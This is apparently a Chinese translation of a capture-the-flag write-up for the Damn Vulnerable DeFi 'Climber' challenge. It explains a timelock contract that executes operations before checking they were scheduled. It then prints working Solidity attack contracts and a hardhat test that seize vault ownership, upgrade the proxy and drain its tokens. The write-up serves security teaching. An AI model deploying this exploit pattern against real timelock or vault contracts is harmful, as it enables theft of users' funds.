本文分析了Damn Vulnerable DeFi的Climber挑战,重点在于ClimberTimelock合约的漏洞,该漏洞允许攻击者执行任意代码。
Climber v3 的特性是一个使用 UUPS 代理模式 部署的金库,其中持有我们必须耗尽的 tokens。该金库由一个 Timelock 拥有,该 Timelock 实现了访问控制,并且可以调度和执行任意代码。
ClimberConstants.sol - 硬编码常量(重要性低)
ClimberErrors.sol - 自定义错误(重要性低)
ClimberTimelock.sol - 一个作为金库所有者的 timelock(重要性高)
ClimberTimelockBase.sol - ClimberTimelock.sol 的基类(重要性中等)
ClimberVault.sol - 持有 tokens 的 UUPS 金库(重要性最高)
ClimberTimelock.sol 有 3 个外部函数:schedule()、execute() 和 updateDelay():
schedule() - 允许 PROPOSER_ROLE 调度任意代码执行 - 使用计划的操作填充存储 ClimberTimelockBase.operations。
execute() - 执行先前计划的任意代码()。可以被任何人调用!
updateDelay() - 更新存储 ClimberTimelockBase.delay;操作可以被调度和执行之间的时间间隔。需要 msg.sender == address(ClimberTimelock)
在 ClimberTimelock.execute() 中立即显现出主要的危险信号:
/**
* 任何人都可以执行通过 `schedule` 调度的内容
*/
function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt)
external
payable
{
if (targets.length <= MIN_TARGETS) {
revert InvalidTargetsCount();
}
if (targets.length != values.length) {
revert InvalidValuesCount();
}
if (targets.length != dataElements.length) {
revert InvalidDataElementsCount();
}
bytes32 id = getOperationId(targets, values, dataElements, salt);
for (uint8 i = 0; i < targets.length;) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
unchecked {
++i;
}
}
// @audit 此检查应在执行之上,因为它检查
// ClimberTimeLockBase.operations 是否包含操作 id。
if (getOperationState(id) != OperationState.ReadyForExecution) {
revert NotReadyForExecution(id);
}
operations[id].executed = true;
}
ClimberTimelock.execute() 将执行所有作为函数输入提供的操作,并且只有在之后才会检查这些操作是否存在于 ClimberTimelockBase.operations 中,并且具有准备好执行的 OperationState。由于 ClimberTimelock.execute() 可以被任何人调用,因此攻击者可能能够执行一系列恶意的操作,这些操作也会填充存储 ClimberTimelockBase.operations 以在这些操作执行后通过检查。
然而,攻击者如何调用 ClimberTimelock.schedule() 呢,因为只有 PROPOSER_ROLE 才能调用 ClimberTimelock.schedule()?在 ClimberTimelock.constructor() 中,我们看到 ClimberTimelock 具有 ADMIN_ROLE,并且 ADMIN_ROLE 被设置为 PROPOSER_ROLE 的 admin,因此 ADMIN_ROLE 可以向 PROPOSER_ROLE 添加新地址:
contract ClimberTimelock is ClimberTimelockBase {
using Address for address;
/**
* @notice 角色和时间锁延迟的初始设置。
* @param admin 将持有 ADMIN_ROLE 角色的帐户的地址
* @param proposer 将持有 PROPOSER_ROLE 角色的帐户的地址
*/
constructor(address admin, address proposer) {
_setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
// @audit 使 ADMIN_ROLE 成为 PROPOSER_ROLE 的 admin
_setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);
_setupRole(ADMIN_ROLE, admin);
// @audit 赋予 ClimberTimelock ADMIN_ROLE。因此
// ClimberTimelock 可以将 PROPOSER_ROLE 赋予其他地址
_setupRole(ADMIN_ROLE, address(this)); // 自管理
_setupRole(PROPOSER_ROLE, proposer);
delay = 1 hours;
}
这允许攻击者在调用 ClimberTimelock.execute() 时,让他们的一个操作调用 AccessControl.grantRole() 以将 PROPOSER_ROLE 授予他们的攻击合约,然后让另一个操作调用其攻击合约中的一个函数,该函数将调用 ClimberTimelock.schedule() 以填充 ClimberTimelock.operations。攻击者还可以让一个操作调用 ClimberTimelock.updateDelay() 以设置 ClimberTimelockBase.delay = 0,从而绕过 ClimberTimelockBase.getOperationState() 检查。
我们现在在 ClimberTimelock 中发现了一个很大的漏洞,它允许我们使 ClimberTimelock 执行我们可以控制其输入的任意函数序列。下一个挑战是将此漏洞发展为一个更大的漏洞,该漏洞能够耗尽 tokens。
将注意力转向 ClimberVault,我们看到 ClimberVault.initialize() 将 ClimberVault 的所有权转移给 ClimberTimelock。由于我们可以让 ClimberTimelock 执行我们喜欢的任何操作,因此我们可以让它在 ClimberVault 上调用 OwnableUpgradeable.transferOwnership(),以将 ClimberVault 的所有权转移给我们自己。
function initialize(address admin, address proposer, address sweeper) external initializer {
// 初始化继承链
__Ownable_init();
__UUPSUpgradeable_init();
// @audit ClimberTimelock 成为 ClimberVault 的所有者。如果我们能够
// 控制 ClimberTimelock,我们可以窃取 ClimberVault 的所有权
// 然后升级 ClimberVault 以以允许我们耗尽 tokens 的方式重新实现 sweepFunds()
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_updateLastWithdrawalTimestamp(block.timestamp);
}
作为 ClimberVault 的所有者,我们能够升级合约以重新实现 sweepFunds() 函数,从而让我们窃取 tokens。我们现在已经将我们的原始漏洞发展到我们可以耗尽 tokens 的程度,剩下的就是将它们放在一起。
我们将我们的攻击合约附加到 ClimberVault.sol 的底部:
contract ClimberVaultAttack {
address payable immutable climberTimeLock;
// ClimberTimelock.execute() & ClimberTimelock.schedule() 的参数
address[] targets = new address[](4);
uint256[] values = [0,0,0,0];
bytes[] dataElements = new bytes[](4);
bytes32 salt = bytes32("!.^.0.0.^.!");
constructor(address payable _climberTimeLock, address _climberVault) {
climberTimeLock = _climberTimeLock;
// 将由 ClimberTimelock.execute() 在其上调用函数 + 参数 payload 的地址
targets[0] = climberTimeLock;
targets[1] = _climberVault;
targets[2] = climberTimeLock;
targets[3] = address(this);
// 第一个 payload 调用 ClimberTimelock.delay()
dataElements[0] = abi.encodeWithSelector(ClimberTimelock.updateDelay.selector, 0);
// 第二个 payload 调用 ClimberVault.transferOwnership()
dataElements[1] = abi.encodeWithSelector(OwnableUpgradeable.transferOwnership.selector, msg.sender);
// 第三个 payload 调用 ClimberTimelock.grantRole()
dataElements[2] = abi.encodeWithSelector(AccessControl.grantRole.selector,
PROPOSER_ROLE, address(this));
// 第四个 payload 调用 ClimberVaultAttack.corruptSchedule()
// 我试图让它直接调用 ClimberTimelock.schedule(),但这导致了不同的 ClimberTimelockBase.getOperationId(),因为 dataElements 的最后一个元素在 ClimberTimelock.execute() 中可见,但在
// ClimberTimelock.schedule() 中不可见。而是调用回
// 攻击合约中的函数并让其调用 ClimberTimelock.schedule() 可以
// 解决这个问题
dataElements[3] = abi.encodeWithSelector(ClimberVaultAttack.corruptSchedule.selector);
}
function corruptSchedule() external {
ClimberTimelock(climberTimeLock).schedule(targets, values, dataElements, salt);
}
function attack() external {
ClimberTimelock(climberTimeLock).execute(targets, values, dataElements, salt);
}
}
// 一旦攻击者拥有 ClimberVault 的所有权,他们将升级到
// 此版本,该版本修改了 sweepFunds() 以允许所有者耗尽 tokens
contract ClimberVaultAttackUpgrade is Initializable, OwnableUpgradeable, UUPSUpgradeable {
// 必须保留存储布局,否则升级将失败
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
function initialize(address, address, address) external initializer {
// 初始化继承链
__Ownable_init();
__UUPSUpgradeable_init();
}
// 已更改为仅允许所有者耗尽资金
function sweepFunds(address token) external onlyOwner {
SafeTransferLib.safeTransfer(token, msg.sender, IERC20(token).balanceOf(address(this)));
}
// 阻止除攻击者之外的任何人进行进一步的升级
function _authorizeUpgrade(address) internal override onlyOwner {}
}
然后修改 climber.challenge.js 以调用我们的攻击合约:
it('Execution', async function () {
/** 在此处编写你的解决方案 */
attacker = await (await ethers.getContractFactory('ClimberVaultAttack', player)).deploy(
timelock.address, vault.address
);
await attacker.attack();
upgradedClimberVault = await upgrades.upgradeProxy(
vault.address,
await ethers.getContractFactory("ClimberVaultAttackUpgrade", player));
await upgradedClimberVault.connect(player).sweepFunds(token.address);
});
并通过运行 npx hardhat test --grep "Climber" 验证我们的解决方案是否有效
我们现在已经完全耗尽了 ClimberVault,我们的漏洞利用已完成!在我的 Damn Vulnerable Defi Solutions 存储库中查看完整代码。
10
- 原文链接: dacian.me/damn-vulnerabl...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!